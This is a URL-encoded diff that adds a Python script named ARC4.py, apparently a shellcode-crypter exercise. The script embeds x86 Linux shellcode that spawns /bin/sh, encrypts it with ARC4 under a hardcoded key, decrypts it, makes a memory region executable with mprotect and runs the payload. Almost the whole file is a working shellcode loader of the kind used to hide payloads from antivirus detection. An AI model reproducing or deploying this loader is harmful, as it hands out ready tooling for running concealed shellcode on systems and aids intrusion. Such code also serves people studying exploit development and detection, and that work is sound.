@@ -0,0 +1,1129 @@
+#!/usr/bin/python%0Afrom Crypto.Cipher import ARC4%0Afrom ctypes import *%0A%0A%0A%0A# shellcode to give /bin/sh using execve sys call%0Ashell_code = (%22%5Cx31%5Cxc0%5Cx50%5Cx68%5Cx2f%5Cx2f%5Cx73%5Cx68%5Cx68%5Cx2f%5Cx62%5Cx69%5Cx6e%5Cx89%5Cxe3%5Cx50%5Cx89%5Cxe2%5Cx53%5Cx89%5Cxe1%5Cxb0%5Cx0b%5Cxcd%5Cx80%22)%0A%0A#i want to display the encrypted and decrypted shellcode in hex format so created a function %0Adef out_shellcodeformat(shell_code):%0A        encoded = %22%22%0A        for x in bytearray(shell_code):%0A                %0A                encoded += '%5C%5Cx'%0A                encoded += '%2502x' %25 x%0A        print (encoded)%0A%0A#Key used to encrypt shellcode%0Ae = ARC4.new('1234567890')%0A%0A# Key used to decrypt shellcode%0Ad = ARC4.new('1234567890')%0A%0Aenc_text = e.encrypt(shell_code)%0A%0Aprint %22%5B+%5DEncrypted text:%22, out_shellcodeformat(enc_text)%0A%0Adecrypted_text = d.decrypt(enc_text)%0A%0Aprint %22%5B+%5DDecrypted text:%22, out_shellcodeformat(decrypted_text)%0A%0Alibc = CDLL('libc.so.6')  %0Asc = c_char_p(decrypted_text)%09%0Asize = len(decrypted_text)%0Aprint %22%5B+%5DLength of decrypted shellcode:%22, size%0Aaddr = c_void_p(libc.valloc(size))%0Amemmove(addr, sc, size)%0Alibc.mprotect(addr, size, 0x7)%0Arun = cast(addr, CFUNCTYPE(c_void_p))%0Arun()%0A

Create ARC4.py